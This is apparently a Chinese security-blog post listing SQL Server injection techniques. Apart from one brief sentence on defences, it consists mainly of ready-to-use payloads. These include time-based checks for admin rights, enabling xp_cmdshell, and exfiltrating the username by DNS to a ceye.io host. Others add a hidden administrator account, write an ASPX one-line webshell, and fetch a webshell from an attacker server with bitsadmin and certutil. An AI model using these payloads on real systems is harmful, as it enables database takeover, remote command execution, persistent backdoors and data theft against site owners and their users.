探索网络安全新技术
攀登黑客技术最高峰

SQL Server 注入常用技巧总结:掌握这些技巧 轻松应对数据库注入攻击

SQL Server 注入常用技巧总结:掌握这些技巧 轻松应对数据库注入攻击-威武网安

技术简介

SQL Server注入是一种常见的Web应用程序攻击黑客可以通过注入恶意SQL代码来获取敏感数据或者对数据库进行恶意操作。为了保护Web应用程序和数据库的安全性,开发人员和安全团队需要了解SQL Server注入的常用技巧和攻击方法,并采取相应的防御措施。本文将介绍SQL Server注入的常用技巧,包括基于时间的盲注联合查询注入、错误信息注入等多种高级技术,并提供防御策略和最佳实践,帮助您提高Web应用程序和数据库的安全性。

注入技巧

[admonition]1.利用单引号绕过验证:在注入点输入 ‘ 可以绕过常规的输入验证,造成 SQL 注入漏洞
2.利用注释符绕过验证:在注入点输入 — 或 /* */ 可以绕过常规的输入验证,造成 SQL 注入漏洞。
3.利用 UNION 操作:通过构造恶意的 SQL 语句,将查询结果合并到一起,从而实现对数据库的非法访问和操作。
4.利用 SELECT INTO 操作:通过构造恶意的 SQL 语句,将查询结果插入到新表中,从而实现对数据库的非法访问和操作。
5.利用系统函数:通过调用系统函数,获取数据库的敏感信息,如版本号、数据库名、表名等。
6.利用错误信息:通过构造恶意的 SQL 语句,触发数据库报错,从而获取数据库的敏感信息。
7.利用时间延迟:通过构造恶意的 SQL 语句,让数据库在执行查询时出现延迟,从而判断是否存在 SQL 注入漏洞。[/admonition]

SQL Server 注入是指攻击者通过构造恶意的 SQL 语句,将恶意代码注入到应用程序中,从而实现对数据库的非法访问和操作;需要注意的是,为了防止SQL注入攻击,应用程序应该采取一系列的安全措施,如输入验证、参数化查询、最小权限原则等。

常用语句

判断是否是DBA权限

uname=test';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';--

判断是否是站库分离

uname=test';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';--

查看是否有xp_cmdshell

uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--

恢复/删除xp_cmdshell

exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll’

exec sp_dropextendedproc 'xplog70.dll'

查看是否开启xp_cmdshell

admin';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5';--

开启xp_cmdshell:

admin';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;—

关闭xp_cmdshell

admin';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell’,0;RECONFIGURE;--

DSNlog 查看whoami:

admin';exec master..xp_cmdshell 'ping %USERNAME%.vxxxx9.ceye.io';--

添加用户:

admin';exec master..xp_cmdshell 'net user Guest1 Aa123456. /add & net localgroup administrators Guest1 /add & net user Guest1 /active:yes'--

获取网站绝对路径:

可以找一个在网站中的文件,然后可以用
dir /s /b d:\”aa.txt"
或者
for /r d:\ %i in (aa.txt) do echo %i来得到路径
查看网页源代码发现引入了js脚本"",就查找layer.js吧
--在数据库tempdb下创建临时表tt_tmp
uname=test';use tempdb;create table tt_tmp (tmp1 varchar(1000));—
--查找网站文件并把路径写入到表tt_tmp
uname=test';use tempdb;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b d:\layer.js';--

写一句话木马(< >的前面要加^):

uname=test';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.item["Aa1234567"],"unsafe");%^> > D:\www.wevul.com\20230419\webapp\wevul\WEB\wevul.aspx';--

下载shell到服务器:

使用bitsadmin下载时并没有成功,访问http://www.wevul.com/Content/layer/wevul.aspx返回404uname=test';exec master..xp_cmdshell 'bitsadmin /rawreturn /transfer getfile http://my-vps/wevul.aspx D:\www.wevul.com\20230419\webapp\wevul\WEB\wevul.aspx';—

使用certutil下载时才成功,得到shell地址http://111.*.*.59/Content/layer/aaa.aspxuname=test';exec master..xp_cmdshell 'certutil -urlcache -split -f http://my-vps/wevul.aspx D:\www.wevul.com\20230419\webapp\wevul\WEB\wevul.aspx';--
赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《SQL Server 注入常用技巧总结:掌握这些技巧 轻松应对数据库注入攻击》
文章链接:https://www.wevul.com/517.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 抢沙发

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册